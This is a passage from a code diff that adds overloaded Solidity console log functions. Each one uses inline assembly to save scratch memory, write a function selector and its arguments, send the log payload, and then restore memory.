+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,bool,uint256)`.
+            mstore(0x00, 0x07831502)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,bool,string)`.
+            mstore(0x00, 0x4a66cb34)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,uint256,address)`.
+            mstore(0x00, 0x136b05dd)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,uint256,bool)`.
+            mstore(0x00, 0xd6019f1c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,uint256,uint256)`.
+            mstore(0x00, 0x7bf181a1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,uint256,string)`.
+            mstore(0x00, 0x51f09ff8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,string,address)`.
+            mstore(0x00, 0x6f7c603e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,string,bool)`.
+            mstore(0x00, 0xe2bfd60b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,string,uint256)`.
+            mstore(0x00, 0xc21f64c7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,address,string,string)`.
+            mstore(0x00, 0xa73c1db6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,address,address)`.
+            mstore(0x00, 0xf4880ea4)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,address,bool)`.
+            mstore(0x00, 0xc0a302d8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,address,uint256)`.
+            mstore(0x00, 0x4c123d57)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,address,string)`.
+            mstore(0x00, 0xa0a47963)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,bool,address)`.
+            mstore(0x00, 0x8c329b1a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,bool,bool)`.
+            mstore(0x00, 0x3b2a5ce0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,bool,uint256)`.
+            mstore(0x00, 0x6d7045c1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,bool,string)`.
+            mstore(0x00, 0x2ae408d4)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,uint256,address)`.
+            mstore(0x00, 0x54a7a9a0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,uint256,bool)`.
+            mstore(0x00, 0x619e4d0e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,uint256,uint256)`.
+            mstore(0x00, 0x0bb00eab)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,uint256,string)`.
+            mstore(0x00, 0x7dd4d0e0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,string,address)`.
+            mstore(0x00, 0xf9ad2b89)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,string,bool)`.
+            mstore(0x00, 0xb857163a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,string,uint256)`.
+            mstore(0x00, 0xe3a9ca2f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,bool,string,string)`.
+            mstore(0x00, 0x6d1e8751)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,address,address)`.
+            mstore(0x00, 0x26f560a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,address,bool)`.
+            mstore(0x00, 0xb4c314ff)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,address,uint256)`.
+            mstore(0x00, 0x1537dc87)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,address,string)`.
+            mstore(0x00, 0x1bb3b09a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
